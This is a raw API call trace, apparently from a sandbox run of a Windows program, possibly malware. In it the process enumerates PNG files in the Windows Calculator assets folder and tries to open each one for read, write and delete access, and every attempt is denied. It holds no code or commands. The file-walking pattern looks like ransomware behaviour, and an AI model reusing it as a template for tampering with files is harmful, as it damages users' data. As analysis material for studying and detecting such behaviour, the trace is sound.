	[0090.408] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorSmallTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-white_scale-100.png"
	[0090.408] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsmalltile.contrast-white_scale-100.png")) returned 0x20
	[0090.409] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.409] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsmalltile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.409] GetLastError () returned 0x5
	[0090.409] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.409] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c983426, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c983426, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c983426, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorSmallTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.409] wcscmp (_String1="CalculatorSmallTile.scale-100.png", _String2=".") returned 1
	[0090.409] wcscmp (_String1="CalculatorSmallTile.scale-100.png", _String2="..") returned 1
	[0090.409] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc3e8
	[0090.409] wcscpy (in: _Dest=0x4ebc3e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.409] wcscat (in: _Dest=0x4ebc3e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.409] wcscat (in: _Dest=0x4ebc3e8, _Source="CalculatorSmallTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.scale-100.png"
	[0090.409] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsmalltile.scale-100.png")) returned 0x20
	[0090.409] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.410] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsmalltile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.410] GetLastError () returned 0x5
	[0090.410] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSmallTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.410] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc3e8) returned 1
	[0090.410] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c983426, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9a9684, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9a9684, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorSplashScreen.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.410] wcscmp (_String1="CalculatorSplashScreen.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.410] wcscmp (_String1="CalculatorSplashScreen.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.410] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x150) returned 0x2e347a8
	[0090.410] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.410] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.410] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorSplashScreen.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-black_scale-100.png"
	[0090.410] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsplashscreen.contrast-black_scale-100.png")) returned 0x20
	[0090.411] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.411] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsplashscreen.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.411] GetLastError () returned 0x5
	[0090.411] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.411] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9a9684, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9a9684, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9a9684, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorSplashScreen.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.411] wcscmp (_String1="CalculatorSplashScreen.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.411] wcscmp (_String1="CalculatorSplashScreen.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x150) returned 0x2e347a8
	[0090.411] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.411] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.411] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorSplashScreen.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-white_scale-100.png"
	[0090.411] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsplashscreen.contrast-white_scale-100.png")) returned 0x20
	[0090.413] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.413] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsplashscreen.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.413] GetLastError () returned 0x5
	[0090.413] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.413] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9a9684, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9a9684, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9a9684, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorSplashScreen.scale-100.png", cAlternateFileName="")) returned 1
	[0090.413] wcscmp (_String1="CalculatorSplashScreen.scale-100.png", _String2=".") returned 1
	[0090.413] wcscmp (_String1="CalculatorSplashScreen.scale-100.png", _String2="..") returned 1
	[0090.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x132) returned 0x481ee48
	[0090.413] wcscpy (in: _Dest=0x481ee48, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.413] wcscat (in: _Dest=0x481ee48, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.413] wcscat (in: _Dest=0x481ee48, _Source="CalculatorSplashScreen.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.scale-100.png"
	[0090.413] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsplashscreen.scale-100.png")) returned 0x20
	[0090.413] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.413] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorsplashscreen.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.414] GetLastError () returned 0x5
	[0090.414] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorSplashScreen.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ee48) returned 1
	[0090.414] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9a9684, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9a9684, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9a9684, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorStoreLogo.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.414] wcscmp (_String1="CalculatorStoreLogo.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.414] wcscmp (_String1="CalculatorStoreLogo.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.414] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2e347a8
	[0090.414] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.414] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.414] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorStoreLogo.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-black_scale-100.png"
	[0090.414] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorstorelogo.contrast-black_scale-100.png")) returned 0x20
	[0090.415] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.415] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorstorelogo.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.415] GetLastError () returned 0x5
	[0090.415] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.415] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9cf8dd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9cf8dd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9cf8dd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorStoreLogo.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.415] wcscmp (_String1="CalculatorStoreLogo.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.415] wcscmp (_String1="CalculatorStoreLogo.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.415] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14a) returned 0x2e347a8
	[0090.415] wcscpy (in: _Dest=0x2e347a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.415] wcscat (in: _Dest=0x2e347a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.415] wcscat (in: _Dest=0x2e347a8, _Source="CalculatorStoreLogo.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-white_scale-100.png"
	[0090.415] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorstorelogo.contrast-white_scale-100.png")) returned 0x20
	[0090.416] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.416] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorstorelogo.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.416] GetLastError () returned 0x5
	[0090.416] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e347a8) returned 1
	[0090.416] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502a2c8 | out: lpFindFileData=0x502a2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c9cf8dd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4c9cf8dd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4c9cf8dd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalculatorStoreLogo.scale-100.png", cAlternateFileName="")) returned 1
	[0090.416] wcscmp (_String1="CalculatorStoreLogo.scale-100.png", _String2=".") returned 1
	[0090.416] wcscmp (_String1="CalculatorStoreLogo.scale-100.png", _String2="..") returned 1
	[0090.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebcda8
	[0090.416] wcscpy (in: _Dest=0x4ebcda8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.416] wcscat (in: _Dest=0x4ebcda8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.416] wcscat (in: _Dest=0x4ebcda8, _Source="CalculatorStoreLogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.scale-100.png"
	[0090.416] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\CalculatorStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscalculator_10.1702.312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\calculatorstorelogo.scale-100.png")) returned 0x20
